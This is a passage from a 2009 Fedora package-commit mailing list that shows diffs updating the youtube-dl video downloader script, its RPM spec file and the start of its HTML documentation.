+	def suitable(url):
+		"""Receives a URL and returns True if suitable for this IE."""
+		return False
+
+	def initialize(self):
+		"""Initializes an instance (authentication, etc)."""
+		if not self._ready:
+			self._real_initialize()
+			self._ready = True
+
+	def extract(self, url):
+		"""Extracts URL information and returns it in list of dicts."""
+		self.initialize()
+		return self._real_extract(url)
+
+	def set_downloader(self, downloader):
+		"""Sets the downloader for this IE."""
+		self._downloader = downloader
+	
+	def _real_initialize(self):
+		"""Real initialization process. Redefine in subclasses."""
+		pass
+
+	def _real_extract(self, url):
+		"""Real extraction process. Redefine in subclasses."""
+		pass
+
+class YoutubeIE(InfoExtractor):
+	"""Information extractor for youtube.com."""
+
+	_VALID_URL = r'^((?:http://)?(?:\w+\.)?youtube\.com/(?:(?:v/)|(?:(?:watch(?:\.php)?)?\?(?:.+&)?v=)))?([0-9A-Za-z_-]+)(?(1).+)?$'
+	_LANG_URL = r'http://uk.youtube.com/?hl=en&persist_hl=1&gl=US&persist_gl=1&opt_out_ackd=1'
+	_LOGIN_URL = 'http://www.youtube.com/signup?next=/&gl=US&hl=en'
+	_AGE_URL = 'http://www.youtube.com/verify_age?next_url=/&gl=US&hl=en'
+	_NETRC_MACHINE = 'youtube'
+	_available_formats = ['22', '35', '18', '5', '17', '13', None] # listed in order of priority for -b flag
+	_video_extensions = {
+		'13': '3gp',
+		'17': 'mp4',
+		'18': 'mp4',
+		'22': 'mp4',
+	}
+
+	@staticmethod
+	def suitable(url):
+		return (re.match(YoutubeIE._VALID_URL, url) is not None)
+
+	@staticmethod
+	def htmlentity_transform(matchobj):
+		"""Transforms an HTML entity to a Unicode character."""
+		entity = matchobj.group(1)
+
+		# Known non-numeric HTML entity
+		if entity in htmlentitydefs.name2codepoint:
+			return unichr(htmlentitydefs.name2codepoint[entity])
+
+		# Unicode character
+		mobj = re.match(ur'(?u)#(x?\d+)', entity)
+		if mobj is not None:
+			numstr = mobj.group(1)
+			if numstr.startswith(u'x'):
+				base = 16
+				numstr = u'0%s' % numstr
+			else:
+				base = 10
+			return unichr(long(numstr, base))
+
+		# Unknown entity in name, return its literal representation
+		return (u'&%s;' % entity)
+
+	def report_lang(self):
+		"""Report attempt to set language."""
+		self._downloader.to_stdout(u'[youtube] Setting language')
+
+	def report_login(self):
+		"""Report attempt to log in."""
+		self._downloader.to_stdout(u'[youtube] Logging in')
+	
+	def report_age_confirmation(self):
+		"""Report attempt to confirm age."""
+		self._downloader.to_stdout(u'[youtube] Confirming age')
+	
+	def report_video_info_webpage_download(self, video_id):
+		"""Report attempt to download video info webpage."""
+		self._downloader.to_stdout(u'[youtube] %s: Downloading video info webpage' % video_id)
+	
+	def report_information_extraction(self, video_id):
+		"""Report attempt to extract video information."""
+		self._downloader.to_stdout(u'[youtube] %s: Extracting video information' % video_id)
+	
+	def report_unavailable_format(self, video_id, format):
+		"""Report extracted video URL."""
+		self._downloader.to_stdout(u'[youtube] %s: Format %s not available' % (video_id, format))
+	
+	def _real_initialize(self):
+		if self._downloader is None:
+			return
+
+		username = None
+		password = None
+		downloader_params = self._downloader.params
+
+		# Attempt to use provided username and password or .netrc data
+		if downloader_params.get('username', None) is not None:
+			username = downloader_params['username']
+			password = downloader_params['password']
+		elif downloader_params.get('usenetrc', False):
+			try:
+				info = netrc.netrc().authenticators(self._NETRC_MACHINE)
+				if info is not None:
+					username = info[0]
+					password = info[2]
+				else:
+					raise netrc.NetrcParseError('No authenticators for %s' % self._NETRC_MACHINE)
+			except (IOError, netrc.NetrcParseError), err:
+				self._downloader.to_stderr(u'WARNING: parsing .netrc: %s' % str(err))
+				return
+
+		# Set language
+		request = urllib2.Request(self._LANG_URL, None, std_headers)
+		try:
+			self.report_lang()
+			urllib2.urlopen(request).read()
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.to_stderr(u'WARNING: unable to set language: %s' % str(err))
+			return
+
+		# No authentication to be performed
+		if username is None:
+			return
+
+		# Log in
+		login_form = {
+				'current_form': 'loginForm',
+				'next':		'/',
+				'action_login':	'Log In',
+				'username':	username,
+				'password':	password,
+				}
+		request = urllib2.Request(self._LOGIN_URL, urllib.urlencode(login_form), std_headers)
+		try:
+			self.report_login()
+			login_results = urllib2.urlopen(request).read()
+			if re.search(r'(?i)<form[^>]* name="loginForm"', login_results) is not None:
+				self._downloader.to_stderr(u'WARNING: unable to log in: bad username or password')
+				return
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.to_stderr(u'WARNING: unable to log in: %s' % str(err))
+			return
+	
+		# Confirm age
+		age_form = {
+				'next_url':		'/',
+				'action_confirm':	'Confirm',
+				}
+		request = urllib2.Request(self._AGE_URL, urllib.urlencode(age_form), std_headers)
+		try:
+			self.report_age_confirmation()
+			age_results = urllib2.urlopen(request).read()
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.trouble(u'ERROR: unable to confirm age: %s' % str(err))
+			return
+
+	def _real_extract(self, url):
+		# Extract video id from URL
+		mobj = re.match(self._VALID_URL, url)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: invalid URL: %s' % url)
+			return
+		video_id = mobj.group(2)
+
+		# Downloader parameters
+		best_quality = False
+		format_param = None
+		quality_index = 0
+		if self._downloader is not None:
+			params = self._downloader.params
+			format_param = params.get('format', None)
+			if format_param == '0':
+				format_param = self._available_formats[quality_index]
+				best_quality = True
+
+		while True:
+			# Extension
+			video_extension = self._video_extensions.get(format_param, 'flv')
+
+			# Get video info
+			video_info_url = 'http://www.youtube.com/get_video_info?&video_id=%s&el=detailpage&ps=default&eurl=&gl=US&hl=en' % video_id
+			request = urllib2.Request(video_info_url, None, std_headers)
+			try:
+				self.report_video_info_webpage_download(video_id)
+				video_info_webpage = urllib2.urlopen(request).read()
+			except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+				self._downloader.trouble(u'ERROR: unable to download video info webpage: %s' % str(err))
+				return
+			self.report_information_extraction(video_id)
+
+			# "t" param
+			mobj = re.search(r'(?m)&token=([^&]+)(?:&|$)', video_info_webpage)
+			if mobj is None:
+				# Attempt to see if YouTube has issued an error message
+				mobj = re.search(r'(?m)&reason=([^&]+)(?:&|$)', video_info_webpage)
+				if mobj is None:
+					self._downloader.trouble(u'ERROR: unable to extract "t" parameter for unknown reason')
+					stream = open('reportme-ydl-%s.dat' % time.time(), 'wb')
+					stream.write(video_info_webpage)
+					stream.close()
+				else:
+					reason = urllib.unquote_plus(mobj.group(1))
+					self._downloader.trouble(u'ERROR: YouTube said: %s' % reason.decode('utf-8'))
+				return
+			token = urllib.unquote(mobj.group(1))
+			video_real_url = 'http://www.youtube.com/get_video?video_id=%s&t=%s&eurl=&el=detailpage&ps=default&gl=US&hl=en' % (video_id, token)
+			if format_param is not None:
+				video_real_url = '%s&fmt=%s' % (video_real_url, format_param)
+
+			# uploader
+			mobj = re.search(r'(?m)&author=([^&]+)(?:&|$)', video_info_webpage)
+			if mobj is None:
+				self._downloader.trouble(u'ERROR: unable to extract uploader nickname')
+				return
+			video_uploader = urllib.unquote(mobj.group(1))
+
+			# title
+			mobj = re.search(r'(?m)&title=([^&]+)(?:&|$)', video_info_webpage)
+			if mobj is None:
+				self._downloader.trouble(u'ERROR: unable to extract video title')
+				return
+			video_title = urllib.unquote(mobj.group(1))
+			video_title = video_title.decode('utf-8')
+			video_title = re.sub(ur'(?u)&(.+?);', self.htmlentity_transform, video_title)
+			video_title = video_title.replace(os.sep, u'%')
+
+			# simplified title
+			simple_title = re.sub(ur'(?u)([^%s]+)' % simple_title_chars, ur'_', video_title)
+			simple_title = simple_title.strip(ur'_')
+
+			try:
+				# Process video information
+				self._downloader.process_info({
+					'id':		video_id.decode('utf-8'),
+					'url':		video_real_url.decode('utf-8'),
+					'uploader':	video_uploader.decode('utf-8'),
+					'title':	video_title,
+					'stitle':	simple_title,
+					'ext':		video_extension.decode('utf-8'),
+				})
+
+				return
+
+			except UnavailableFormatError, err:
+				if best_quality:
+					if quality_index == len(self._available_formats) - 1:
+						# I don't ever expect this to happen
+						self._downloader.trouble(u'ERROR: no known formats available for video')
+						return
+					else:
+						self.report_unavailable_format(video_id, format_param)
+						quality_index += 1
+						format_param = self._available_formats[quality_index]
+						continue
+				else: 
+					self._downloader.trouble('ERROR: format not available for video')
+					return
+
+
+class MetacafeIE(InfoExtractor):
+	"""Information Extractor for metacafe.com."""
+
+	_VALID_URL = r'(?:http://)?(?:www\.)?metacafe\.com/watch/([^/]+)/([^/]+)/.*'
+	_DISCLAIMER = 'http://www.metacafe.com/family_filter/'
+	_FILTER_POST = 'http://www.metacafe.com/f/index.php?inputType=filter&controllerGroup=user'
+	_youtube_ie = None
+
+	def __init__(self, youtube_ie, downloader=None):
+		InfoExtractor.__init__(self, downloader)
+		self._youtube_ie = youtube_ie
+
+	@staticmethod
+	def suitable(url):
+		return (re.match(MetacafeIE._VALID_URL, url) is not None)
+
+	def report_disclaimer(self):
+		"""Report disclaimer retrieval."""
+		self._downloader.to_stdout(u'[metacafe] Retrieving disclaimer')
+
+	def report_age_confirmation(self):
+		"""Report attempt to confirm age."""
+		self._downloader.to_stdout(u'[metacafe] Confirming age')
+	
+	def report_download_webpage(self, video_id):
+		"""Report webpage download."""
+		self._downloader.to_stdout(u'[metacafe] %s: Downloading webpage' % video_id)
+	
+	def report_extraction(self, video_id):
+		"""Report information extraction."""
+		self._downloader.to_stdout(u'[metacafe] %s: Extracting information' % video_id)
+
+	def _real_initialize(self):
+		# Retrieve disclaimer
+		request = urllib2.Request(self._DISCLAIMER, None, std_headers)
+		try:
+			self.report_disclaimer()
+			disclaimer = urllib2.urlopen(request).read()
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.trouble(u'ERROR: unable to retrieve disclaimer: %s' % str(err))
+			return
+
+		# Confirm age
+		disclaimer_form = {
+			'filters': '0',
+			'submit': "Continue - I'm over 18",
+			}
+		request = urllib2.Request(self._FILTER_POST, urllib.urlencode(disclaimer_form), std_headers)
+		try:
+			self.report_age_confirmation()
+			disclaimer = urllib2.urlopen(request).read()
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.trouble(u'ERROR: unable to confirm age: %s' % str(err))
+			return
+	
+	def _real_extract(self, url):
+		# Extract id and simplified title from URL
+		mobj = re.match(self._VALID_URL, url)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: invalid URL: %s' % url)
+			return
+
+		video_id = mobj.group(1)
+
+		# Check if video comes from YouTube
+		mobj2 = re.match(r'^yt-(.*)$', video_id)
+		if mobj2 is not None:
+			self._youtube_ie.extract('http://www.youtube.com/watch?v=%s' % mobj2.group(1))
+			return
+
+		simple_title = mobj.group(2).decode('utf-8')
+		video_extension = 'flv'
+
+		# Retrieve video webpage to extract further information
+		request = urllib2.Request('http://www.metacafe.com/watch/%s/' % video_id)
+		try:
+			self.report_download_webpage(video_id)
+			webpage = urllib2.urlopen(request).read()
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.trouble(u'ERROR: unable retrieve video webpage: %s' % str(err))
+			return
+
+		# Extract URL, uploader and title from webpage
+		self.report_extraction(video_id)
+		mobj = re.search(r'(?m)&mediaURL=([^&]+)', webpage)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: unable to extract media URL')
+			return
+		mediaURL = urllib.unquote(mobj.group(1))
+
+		#mobj = re.search(r'(?m)&gdaKey=(.*?)&', webpage)
+		#if mobj is None:
+		#	self._downloader.trouble(u'ERROR: unable to extract gdaKey')
+		#	return
+		#gdaKey = mobj.group(1)
+		#
+		#video_url = '%s?__gda__=%s' % (mediaURL, gdaKey)
+
+		video_url = mediaURL
+
+		mobj = re.search(r'(?im)<title>(.*) - Video</title>', webpage)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: unable to extract title')
+			return
+		video_title = mobj.group(1).decode('utf-8')
+
+		mobj = re.search(r'(?ms)<li id="ChnlUsr">.*?Submitter:.*?<a .*?>(.*?)<', webpage)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: unable to extract uploader nickname')
+			return
+		video_uploader = mobj.group(1)
+
+		try:
+			# Process video information
+			self._downloader.process_info({
+				'id':		video_id.decode('utf-8'),
+				'url':		video_url.decode('utf-8'),
+				'uploader':	video_uploader.decode('utf-8'),
+				'title':	video_title,
+				'stitle':	simple_title,
+				'ext':		video_extension.decode('utf-8'),
+			})
+		except UnavailableFormatError:
+			self._downloader.trouble(u'ERROR: format not available for video')
+
+
+class YoutubeSearchIE(InfoExtractor):
+	"""Information Extractor for YouTube search queries."""
+	_VALID_QUERY = r'ytsearch(\d+|all)?:[\s\S]+'
+	_TEMPLATE_URL = 'http://www.youtube.com/results?search_query=%s&page=%s&gl=US&hl=en'
+	_VIDEO_INDICATOR = r'href="/watch\?v=.+?"'
+	_MORE_PAGES_INDICATOR = r'(?m)>\s*Next\s*</a>'
+	_youtube_ie = None
+	_max_youtube_results = 1000
+
+	def __init__(self, youtube_ie, downloader=None):
+		InfoExtractor.__init__(self, downloader)
+		self._youtube_ie = youtube_ie
+	
+	@staticmethod
+	def suitable(url):
+		return (re.match(YoutubeSearchIE._VALID_QUERY, url) is not None)
+
+	def report_download_page(self, query, pagenum):
+		"""Report attempt to download playlist page with given number."""
+		self._downloader.to_stdout(u'[youtube] query "%s": Downloading page %s' % (query, pagenum))
 
-	try:
-		video_file = open(video_filename, 'wb')
-	except (IOError, OSError):
-		sys.exit('Error: unable to open "%s" for writing.' % video_filename)
-	try:
-		video_len = long(video_data.info()['Content-length'])
-		video_len_str = format_bytes(video_len)
-	except KeyError:
-		video_len = None
-		video_len_str = 'N/A'
-
-	byte_counter = 0
-	block_size = const_initial_block_size
-	start_time = time.time()
-	while True:
-		if video_len is not None:
-			percent = float(byte_counter) / float(video_len) * 100.0
-			percent_str = '%.1f' % percent
-			eta_str = calc_eta(start_time, time.time(), video_len, byte_counter)
+	def _real_initialize(self):
+		self._youtube_ie.initialize()
+	
+	def _real_extract(self, query):
+		mobj = re.match(self._VALID_QUERY, query)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: invalid search query "%s"' % query)
+			return
+
+		prefix, query = query.split(':')
+		prefix = prefix[8:]
+		if prefix == '':
+			self._download_n_results(query, 1)
+			return
+		elif prefix == 'all':
+			self._download_n_results(query, self._max_youtube_results)
+			return
 		else:
-			percent_str = '---.-'
-			eta_str = '--:--'
-		counter = format_bytes(byte_counter)
-		speed_str = calc_speed(start_time, time.time(), byte_counter)
-		cond_print('\rRetrieving video data: %5s%% (%8s of %s) at %8s/s ETA %s ' % (percent_str, counter, video_len_str, speed_str, eta_str))
-
-		before = time.time()
-		video_block = video_data.read(block_size)
-		after = time.time()
-		dl_bytes = len(video_block)
-		if dl_bytes == 0:
-			break
-		byte_counter += dl_bytes
-		video_file.write(video_block)
-		block_size = new_block_size(before, after, dl_bytes)
-
-	if video_len is not None and byte_counter != video_len:
-		error_advice_exit('server did not send the expected ammount of data')
-
-	video_file.close()
-	cond_print('done.\n')
-	cond_print('Video data saved to %s\n' % video_filename)
-
-except (urllib2.URLError, ValueError, httplib.HTTPException, TypeError, socket.error):
-	cond_print('failed.\n')
-	error_advice_exit('unable to download video data')
+			try:
+				n = long(prefix)
+				if n <= 0:
+					self._downloader.trouble(u'ERROR: invalid download number %s for query "%s"' % (n, query))
+					return
+				elif n > self._max_youtube_results:
+					self._downloader.to_stderr(u'WARNING: ytsearch returns max %i results (you requested %i)'  % (self._max_youtube_results, n))
+					n = self._max_youtube_results
+				self._download_n_results(query, n)
+				return
+			except ValueError: # parsing prefix as integer fails
+				self._download_n_results(query, 1)
+				return
+
+	def _download_n_results(self, query, n):
+		"""Downloads a specified number of results for a query"""
+
+		video_ids = []
+		already_seen = set()
+		pagenum = 1
+
+		while True:
+			self.report_download_page(query, pagenum)
+			result_url = self._TEMPLATE_URL % (urllib.quote_plus(query), pagenum)
+			request = urllib2.Request(result_url, None, std_headers)
+			try:
+				page = urllib2.urlopen(request).read()
+			except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+				self._downloader.trouble(u'ERROR: unable to download webpage: %s' % str(err))
+				return
+
+			# Extract video identifiers
+			for mobj in re.finditer(self._VIDEO_INDICATOR, page):
+				video_id = page[mobj.span()[0]:mobj.span()[1]].split('=')[2][:-1]
+				if video_id not in already_seen:
+					video_ids.append(video_id)
+					already_seen.add(video_id)
+					if len(video_ids) == n:
+						# Specified n videos reached
+						for id in video_ids:
+							self._youtube_ie.extract('http://www.youtube.com/watch?v=%s' % id)
+						return
+
+			if re.search(self._MORE_PAGES_INDICATOR, page) is None:
+				for id in video_ids:
+					self._youtube_ie.extract('http://www.youtube.com/watch?v=%s' % id)
+				return
+
+			pagenum = pagenum + 1
+
+class YoutubePlaylistIE(InfoExtractor):
+	"""Information Extractor for YouTube playlists."""
+
+	_VALID_URL = r'(?:http://)?(?:\w+\.)?youtube.com/(?:view_play_list|my_playlists)\?.*?p=([^&]+).*'
+	_TEMPLATE_URL = 'http://www.youtube.com/view_play_list?p=%s&page=%s&gl=US&hl=en'
+	_VIDEO_INDICATOR = r'/watch\?v=(.+?)&'
+	_MORE_PAGES_INDICATOR = r'/view_play_list?p=%s&page=%s'
+	_youtube_ie = None
+
+	def __init__(self, youtube_ie, downloader=None):
+		InfoExtractor.__init__(self, downloader)
+		self._youtube_ie = youtube_ie
+	
+	@staticmethod
+	def suitable(url):
+		return (re.match(YoutubePlaylistIE._VALID_URL, url) is not None)
+
+	def report_download_page(self, playlist_id, pagenum):
+		"""Report attempt to download playlist page with given number."""
+		self._downloader.to_stdout(u'[youtube] PL %s: Downloading page #%s' % (playlist_id, pagenum))
 
-except KeyboardInterrupt:
-	sys.exit('\n')
+	def _real_initialize(self):
+		self._youtube_ie.initialize()
+	
+	def _real_extract(self, url):
+		# Extract playlist id
+		mobj = re.match(self._VALID_URL, url)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: invalid url: %s' % url)
+			return
+
+		# Download playlist pages
+		playlist_id = mobj.group(1)
+		video_ids = []
+		pagenum = 1
+
+		while True:
+			self.report_download_page(playlist_id, pagenum)
+			request = urllib2.Request(self._TEMPLATE_URL % (playlist_id, pagenum), None, std_headers)
+			try:
+				page = urllib2.urlopen(request).read()
+			except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+				self._downloader.trouble(u'ERROR: unable to download webpage: %s' % str(err))
+				return
+
+			# Extract video identifiers
+			ids_in_page = []
+			for mobj in re.finditer(self._VIDEO_INDICATOR, page):
+				if mobj.group(1) not in ids_in_page:
+					ids_in_page.append(mobj.group(1))
+			video_ids.extend(ids_in_page)
+
+			if (self._MORE_PAGES_INDICATOR % (playlist_id.upper(), pagenum + 1)) not in page:
+				break
+			pagenum = pagenum + 1
+
+		for id in video_ids:
+			self._youtube_ie.extract('http://www.youtube.com/watch?v=%s' % id)
+		return
+
+class PostProcessor(object):
+	"""Post Processor class.
+
+	PostProcessor objects can be added to downloaders with their
+	add_post_processor() method. When the downloader has finished a
+	successful download, it will take its internal chain of PostProcessors
+	and start calling the run() method on each one of them, first with
+	an initial argument and then with the returned value of the previous
+	PostProcessor.
+
+	The chain will be stopped if one of them ever returns None or the end
+	of the chain is reached.
+
+	PostProcessor objects follow a "mutual registration" process similar
+	to InfoExtractor objects.
+	"""
+
+	_downloader = None
+
+	def __init__(self, downloader=None):
+		self._downloader = downloader
+
+	def set_downloader(self, downloader):
+		"""Sets the downloader for this PP."""
+		self._downloader = downloader
+	
+	def run(self, information):
+		"""Run the PostProcessor.
 
-# Finish
-sys.exit()
+		The "information" argument is a dictionary like the ones
+		composed by InfoExtractors. The only difference is that this
+		one has an extra field called "filepath" that points to the
+		downloaded file.
+
+		When this method returns None, the postprocessing chain is
+		stopped. However, this method may return an information
+		dictionary that will be passed to the next postprocessing
+		object in the chain. It can be the one it received after
+		changing some fields.
+
+		In addition, this method may raise a PostProcessingError
+		exception that will be taken into account by the downloader
+		it was called from.
+		"""
+		return information # by default, do nothing
+	
+### MAIN PROGRAM ###
+if __name__ == '__main__':
+	try:
+		# Modules needed only when running the main program
+		import getpass
+		import optparse
+
+		# General configuration
+		urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()))
+		urllib2.install_opener(urllib2.build_opener(urllib2.HTTPCookieProcessor()))
+		socket.setdefaulttimeout(300) # 5 minutes should be enough (famous last words)
+
+		# Parse command line
+		parser = optparse.OptionParser(
+			usage='Usage: %prog [options] url...',
+			version='2009.09.13',
+			conflict_handler='resolve',
+		)
+
+		parser.add_option('-h', '--help',
+				action='help', help='print this help text and exit')
+		parser.add_option('-v', '--version',
+				action='version', help='print program version and exit')
+		parser.add_option('-i', '--ignore-errors',
+				action='store_true', dest='ignoreerrors', help='continue on download errors', default=False)
+		parser.add_option('-r', '--rate-limit',
+				dest='ratelimit', metavar='L', help='download rate limit (e.g. 50k or 44.6m)')
+
+		authentication = optparse.OptionGroup(parser, 'Authentication Options')
+		authentication.add_option('-u', '--username',
+				dest='username', metavar='UN', help='account username')
+		authentication.add_option('-p', '--password',
+				dest='password', metavar='PW', help='account password')
+		authentication.add_option('-n', '--netrc',
+				action='store_true', dest='usenetrc', help='use .netrc authentication data', default=False)
+		parser.add_option_group(authentication)
+
+		video_format = optparse.OptionGroup(parser, 'Video Format Options')
+		video_format.add_option('-f', '--format',
+				action='store', dest='format', metavar='FMT', help='video format code')
+		video_format.add_option('-b', '--best-quality',
+				action='store_const', dest='format', help='download the best quality video possible', const='0')
+		video_format.add_option('-m', '--mobile-version',
+				action='store_const', dest='format', help='alias for -f 17', const='17')
+		video_format.add_option('-d', '--high-def',
+				action='store_const', dest='format', help='alias for -f 22', const='22')
+		parser.add_option_group(video_format)
+
+		verbosity = optparse.OptionGroup(parser, 'Verbosity / Simulation Options')
+		verbosity.add_option('-q', '--quiet',
+				action='store_true', dest='quiet', help='activates quiet mode', default=False)
+		verbosity.add_option('-s', '--simulate',
+				action='store_true', dest='simulate', help='do not download video', default=False)
+		verbosity.add_option('-g', '--get-url',
+				action='store_true', dest='geturl', help='simulate, quiet but print URL', default=False)
+		verbosity.add_option('-e', '--get-title',
+				action='store_true', dest='gettitle', help='simulate, quiet but print title', default=False)
+		parser.add_option_group(verbosity)
+
+		filesystem = optparse.OptionGroup(parser, 'Filesystem Options')
+		filesystem.add_option('-t', '--title',
+				action='store_true', dest='usetitle', help='use title in file name', default=False)
+		filesystem.add_option('-l', '--literal',
+				action='store_true', dest='useliteral', help='use literal title in file name', default=False)
+		filesystem.add_option('-o', '--output',
+				dest='outtmpl', metavar='TPL', help='output filename template')
+		filesystem.add_option('-a', '--batch-file',
+				dest='batchfile', metavar='F', help='file containing URLs to download')
+		filesystem.add_option('-w', '--no-overwrites',
+				action='store_true', dest='nooverwrites', help='do not overwrite files', default=False)
+		filesystem.add_option('-c', '--continue',
+				action='store_true', dest='continue_dl', help='resume partially downloaded files', default=False)
+		parser.add_option_group(filesystem)
+
+		(opts, args) = parser.parse_args()
+
+		# Batch file verification
+		batchurls = []
+		if opts.batchfile is not None:
+			try:
+				batchurls = open(opts.batchfile, 'r').readlines()
+				batchurls = [x.strip() for x in batchurls]
+				batchurls = [x for x in batchurls if len(x) > 0]
+			except IOError:
+				sys.exit(u'ERROR: batch file could not be read')
+		all_urls = batchurls + args
+
+		# Conflicting, missing and erroneous options
+		if len(all_urls) < 1:
+			parser.error(u'you must provide at least one URL')
+		if opts.usenetrc and (opts.username is not None or opts.password is not None):
+			parser.error(u'using .netrc conflicts with giving username/password')
+		if opts.password is not None and opts.username is None:
+			parser.error(u'account username missing')
+		if opts.outtmpl is not None and (opts.useliteral or opts.usetitle):
+			parser.error(u'using output template conflicts with using title or literal title')
+		if opts.usetitle and opts.useliteral:
+			parser.error(u'using title conflicts with using literal title')
+		if opts.username is not None and opts.password is None:
+			opts.password = getpass.getpass(u'Type account password and press return:')
+		if opts.ratelimit is not None:
+			numeric_limit = FileDownloader.parse_bytes(opts.ratelimit)
+			if numeric_limit is None:
+				parser.error(u'invalid rate limit specified')
+			opts.ratelimit = numeric_limit
+
+		# Information extractors
+		youtube_ie = YoutubeIE()
+		metacafe_ie = MetacafeIE(youtube_ie)
+		youtube_pl_ie = YoutubePlaylistIE(youtube_ie)
+		youtube_search_ie = YoutubeSearchIE(youtube_ie)
+
+		# File downloader
+		fd = FileDownloader({
+			'usenetrc': opts.usenetrc,
+			'username': opts.username,
+			'password': opts.password,
+			'quiet': (opts.quiet or opts.geturl or opts.gettitle),
+			'forceurl': opts.geturl,
+			'forcetitle': opts.gettitle,
+			'simulate': (opts.simulate or opts.geturl or opts.gettitle),
+			'format': opts.format,
+			'outtmpl': ((opts.outtmpl is not None and opts.outtmpl.decode(preferredencoding()))
+				or (opts.usetitle and u'%(stitle)s-%(id)s.%(ext)s')
+				or (opts.useliteral and u'%(title)s-%(id)s.%(ext)s')
+				or u'%(id)s.%(ext)s'),
+			'ignoreerrors': opts.ignoreerrors,
+			'ratelimit': opts.ratelimit,
+			'nooverwrites': opts.nooverwrites,
+			'continuedl': opts.continue_dl,
+			})
+		fd.add_info_extractor(youtube_search_ie)
+		fd.add_info_extractor(youtube_pl_ie)
+		fd.add_info_extractor(metacafe_ie)
+		fd.add_info_extractor(youtube_ie)
+		retcode = fd.download(all_urls)
+		sys.exit(retcode)
+
+	except DownloadError:
+		sys.exit(1)
+	except SameFileError:
+		sys.exit(u'ERROR: fixed output name but more than one file to download')
+	except KeyboardInterrupt:
+		sys.exit(u'\nERROR: Interrupted by user')


Index: youtube-dl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/youtube-dl/F-11/youtube-dl.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- youtube-dl.spec	25 Feb 2009 18:13:50 -0000	1.2
+++ youtube-dl.spec	9 Oct 2009 16:39:37 -0000	1.3
@@ -1,13 +1,13 @@
 Name:           youtube-dl
-Version:        2008.01.24
+Version:        2009.09.13
 Release:        2%{?dist}
 Summary:        Small command-line program to download videos from YouTube
 Summary(pl):    Tekstowy program do pobierania film?w z youtube.com
 Group:          Applications/Multimedia
-License:        MIT
-URL:            http://www.arrakis.es/~rggi3/youtube-dl/
-Source0:        http://www.arrakis.es/~rggi3/youtube-dl/youtube-dl
-Source1:        http://www.arrakis.es/~rggi3/youtube-dl/index.html
+License:        Public Domain
+URL:            http://bitbucket.org/rg3/youtube-dl
+Source0:        http://bitbucket.org/rg3/youtube-dl/raw/%{version}/youtube-dl
+Source1:        http://bitbucket.org/rg3/youtube-dl/wiki/Home
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 Requires:       python >= 2.4
@@ -20,7 +20,7 @@ youtube-dl to ma?y tekstowy program s?
 youtube.com.
 
 %prep
-cp %{SOURCE1} .
+install -p -m0644 %{SOURCE1} index.html
 
 %build
 #nothing to build
@@ -39,6 +39,16 @@ rm -rf $RPM_BUILD_ROOT
 %doc index.html
 
 %changelog
+* Fri Oct 09 2009 Rafa? Psota <rafalzaq at gmail.com> - 2009.09.13-2
+- Small fix in %%prep
+
+* Sun Sep 27 2009 Rafa? Psota <rafalzaq at gmail.com> - 2009.09.13-1
+- Update to 2009.09.13
+- License change to Public Domain
+
+* Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2008.01.24-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2008.01.24-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From rafalzaq at fedoraproject.org  Fri Oct  9 16:41:27 2009
From: rafalzaq at fedoraproject.org (=?utf-8?q?Rafa=C5=82_Psota?=)
Date: Fri,  9 Oct 2009 16:41:27 +0000 (UTC)
Subject: rpms/youtube-dl/devel index.html, 1.1, 1.2 youtube-dl, 1.1,
	1.2 youtube-dl.spec, 1.3, 1.4
Message-ID: <20091009164127.2B52711C00C1@cvs1.fedora.phx.redhat.com>

Author: rafalzaq

Update of /cvs/pkgs/rpms/youtube-dl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24920

Modified Files:
	index.html youtube-dl youtube-dl.spec 
Log Message:
update to 2009.09.13


Index: index.html
===================================================================
RCS file: /cvs/pkgs/rpms/youtube-dl/devel/index.html,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- index.html	26 Jan 2008 11:33:26 -0000	1.1
+++ index.html	9 Oct 2009 16:41:25 -0000	1.2
@@ -1,165 +1,501 @@
-<!DOCTYPE html 
-     PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" 
+	"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
 <head>
-	<meta http-equiv="Content-type" content="text/html; charset=UTF-8" />
-	<title>youtube-dl: Download videos from YouTube.com</title>
-	<style type="text/css"><!--
-		body {
-			font-family: sans-serif;
-			font-size: small;
-		}
-		h1 {
-			text-align: center;
-			text-decoration: underline;
-			color: #006699;
-		}
-		h2 {
-			color: #006699;
-		}
-		p {
-			text-align: justify;
-			margin-left: 5%;
-			margin-right: 5%;
-		}
-		ul {
-			margin-left: 5%;
-			margin-right: 5%;
-			list-style-type: square;
-		}
-		li {
-			margin-bottom: 0.5ex;
-		}
-		#copyright {
